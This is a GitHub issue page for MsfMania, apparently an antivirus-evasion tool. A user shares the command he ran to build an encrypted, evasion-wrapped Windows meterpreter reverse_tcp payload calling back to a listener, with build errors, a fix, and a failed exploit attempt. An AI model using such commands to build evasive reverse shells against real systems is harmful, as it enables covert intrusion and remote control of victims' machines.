MsfMania icon indicating copy to clipboard operation
MsfMania copied to clipboard

Failed to create Payload

Open Huibuh2010 opened this issue 3 years ago • 1 comments

Hey,

what do i wrong?

python3 MsfMania.py -a x64 -p windows/x64/meterpreter/reverse_tcp -lh 192.168.0.10 -lp 1234 -o Malicious -it local --hash md5

[+] Shellcode generated.

[+] Shellcode encrypted.

[+] Evasion code added.

sh: 1: x86_64-w64-mingw32-windres: not found [+] File compiled and stripped.

Traceback (most recent call last): File "/home/kali/Downloads/MsfMania/MsfMania.py", line 253, in original_file_size = check_file_size() File "/home/kali/Downloads/MsfMania/MsfMania.py", line 186, in check_file_size fs = path.getsize(filename) File "/usr/lib/python3.9/genericpath.py", line 50, in getsize return os.stat(filename).st_size FileNotFoundError: [Errno 2] No such file or directory: 'output/Malicious.exe'

Huibuh2010 avatar Sep 02 '21 13:09 Huibuh2010

apt install mingw-w64 -y

was the key, sry

but on Test Machine didnt work the Payload.

[-] Exploit failed: Rex::RuntimeError Powershell command length is greater than the command line maximum (8192 characters)

Huibuh2010 avatar Sep 02 '21 13:09 Huibuh2010